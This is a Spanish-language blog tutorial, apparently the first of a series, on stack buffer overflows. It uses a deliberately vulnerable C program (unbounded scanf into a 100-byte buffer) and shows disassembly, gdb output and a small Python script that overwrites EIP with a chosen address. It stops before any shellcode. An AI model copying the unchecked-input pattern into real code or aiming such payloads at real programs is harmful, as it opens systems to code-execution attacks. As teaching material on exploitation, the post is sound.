(void *) blog

Posted on by fortytwo_de


Siempre he tenido mucha curiosidad por los exploits. Nunca he entendido realmente cómo funcionan, muchas veces me han parecido brujería. Pero hoy he decidido entender su funcionamiento, y para ello he escrito un programa muy simple, como el típico programa que pregunta el nombre del usuario y luego le saluda.

#include <stdio.h>   

int main(int argc, char** argv) {
    char buffer[100];

    printf("What is your name?\n");
    scanf("%s", buffer);
    printf("Hello, %s!\n", buffer);

    return 0;
}

Puede parecer inocente, pero tiene una vulnerabilidad muy importante: no limita el número de caracteres que el usuario puede almacenar en buffer. Los lenguajes de programación "de alto nivel" (Python, Ruby, Perl, C#...) generalmente se encargan de evitar este tipo de problemas.

En lenguajes de más bajo nivel, como C, es mucho más fácil una vulnerabilidad de buffer overflow. Para entender el problema, hay que conocer los "registros de activación" (activation frames). Simplificando mucho un asunto complicado, podemos entender los registros de activación como una parte de la memoria que contiene la información necesaria para que una función sea ejecutada. Normalmente tienen este aspecto:

En este caso, buffer es la única variable local, así que ocupa todo ese espacio. Justo después viene un segmento reservado para los registros, que en condiciones normales no debería ser modificado por un programa. Entre otras cosas, contiene el registro "EIP" (Instruction Pointer). Esto contiene la dirección que se ejecutará cuando la función termine.

Al desensamblar el programa, se puede ver la posición de buffer en el registro de activación:

$ objdump -d ./test
(...)
08048454 <main>:
 8048454:       55                      push   %ebp
 8048455:       89 e5                   mov    %esp,%ebp
 8048457:       83 e4 f0                and    $0xfffffff0,%esp
 804845a:       83 c4 80                add    $0xffffff80,%esp
 804845d:       c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 8048464:       e8 1b ff ff ff          call   8048384 <puts@plt>
 8048469:       b8 73 85 04 08          mov    $0x8048573,%eax
 804846e:       8d 54 24 1c             lea    0x1c(%esp),%edx
 8048472:       89 54 24 04             mov    %edx,0x4(%esp)
 8048476:       89 04 24                mov    %eax,(%esp)
 8048479:       e8 f6 fe ff ff          call   8048374 <__isoc99_scanf@plt>
 804847e:       b8 76 85 04 08          mov    $0x8048576,%eax
 8048483:       8d 54 24 1c             lea    0x1c(%esp),%edx
 8048487:       89 54 24 04             mov    %edx,0x4(%esp)
 804848b:       89 04 24                mov    %eax,(%esp)
 804848e:       e8 d1 fe ff ff          call   8048364 <printf@plt>
 8048493:       b8 00 00 00 00          mov    $0x0,%eax
 8048498:       c9                      leave
 8048499:       c3                      ret
 804849a:       90                      nop
 804849b:       90                      nop
 804849c:       90                      nop
(...)

Las partes interesantes son los argumentos a las funciones __isoc99_scanf@plt y <printf@plt>. Ambos comparten una dirección relativa a %esp (stack pointer):

 804846e:       8d 54 24 1c             lea    0x1c(%esp),%edx
(...)
 8048483:       8d 54 24 1c             lea    0x1c(%esp),%edx

En este caso, se puede observar que la variable está desplazada 0x1c (28) bytes. Es decir, entre el principio del registro de activación y el principio de la variable buffer hay 28 bytes. Esto será necesario para calcular la dirección a la que apuntar %eip.

Esto es lo que pasa cuando se sobreescribe la parte de la memoria reservada para los registros:

$ python -c "print 'A'*120" | ./test
What is your name?
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault

Era de esperar: el programa ha intentado acceder a una parte de la memoria que no le pertenece. Al observar los registros, vemos algo interesante...

$ gdb ./test
GNU gdb (GDB) 7.0.1-debian
(gdb) run
Starting program: ./test
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x270340 2556736
ebx            0x26eff4 2551796
esp            0xbffff2b0       0xbffff2b0
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141

Interesante. Hemos sobreescrito el registro %ebp y %eip. Con un poco de prueba y error, se puede determinar el número de caracteres necesarios para sobreescribir todo el registro de activación hasta llegar a eip.

En este caso concreto, a partir de 112 bytes empiezo a sobreescribir el registro que es interesante. Para comprobar que puedo escribir cualquier cosa en %eip, he escrito este simple programa:

import sys, struct

address = int(sys.argv[1], 16)
eip = struct.pack("<L", address)

print "A" * 112 + eip

En la cuarta línea convierto un long big-endian en uno little-endian, porque la mayoría de los procesadores Intel ordenan los bytes de esta forma. Es bastante importante entender la diferencia entre los dos. Este artículo de la Wikipedia en "Simple English" lo explica bastante bien.

Finalmente, compruebo que el programa funciona:

$ python pwn.py 0xdeadbeef
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¾­Þ
$ gdb ./test
GNU gdb (GDB) 7.0.1-debian
(gdb) run
Starting program: ./test
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¾­
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAï¾­Þ!

Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()

Esto significa que ahora puedo elegir qué dirección de memoria se ejecutará cuando termine el programa. Para aprovecharme de esto, sería necesario un "shellcode". Es decir, unas instrucciones que me permitan obtener una shell. Pero esto tendrá que esperar hasta el próximo post.

Posted on by fortytwo_de | Posted in ASM, Programación


3 Responses to Hitchhikker’s Guide to Buffer Overflow (I)

  1. Tonithy says:


    Bro, where’s the next post?


  2. Jayne says:


    Hi, you post interesting posts on your website, you deserve much more visitors, just type in google
    for – augo’s tube traffic


  3. Александр says:


    Attackers generally use buffer overflows to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.


Leave a Reply to Jayne Cancel reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>